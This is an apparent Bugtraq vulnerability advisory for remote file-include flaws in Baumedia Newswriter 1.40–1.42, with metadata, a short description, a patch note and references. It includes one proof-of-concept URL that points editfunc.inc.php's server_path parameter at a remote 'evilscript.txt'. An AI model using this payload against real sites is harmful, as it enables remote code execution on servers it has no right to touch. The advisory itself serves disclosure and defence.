Newswriter Editfunc.inc.PHP Remote File Include Vulnerabilities

Bugtraq ID:	20237
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 27 2006 12:00AM
Updated:	Oct 04 2006 11:15PM
Credit:	Silahsiz Kuvvetler is credited with the discovery of this vulnerability.
Vulnerable:	Baumedia Newswriter 1.42 Baumedia Newswriter 1.41 Baumedia Newswriter 1.40
Not Vulnerable:

Newswriter Editfunc.inc.PHP Remote File Include Vulnerabilities

Newswriter is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Newswriter 1.42 and prior versions are vulnerable; other versions may also be affected.

Newswriter Editfunc.inc.PHP Remote File Include Vulnerabilities

An attacker can exploit this issue via a web client.

The following proof-of-concept examples are available:

http://www.example.com/[Newswriter_SW_DIR]/include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=http://www.example.com/evilscript.txt?

• /data/vulnerabilities/exploits/NewswriterSWv1.4.2.txt

Newswriter Editfunc.inc.PHP Remote File Include Vulnerabilities

Solution:
The vendor has issued information regarding a patch to the source code for this issue; please see the references for details.

Newswriter Editfunc.inc.PHP Remote File Include Vulnerabilities

References:

• Newswriter code changes (Newswriter)
  
• Newswriter Web Site (Baumedia)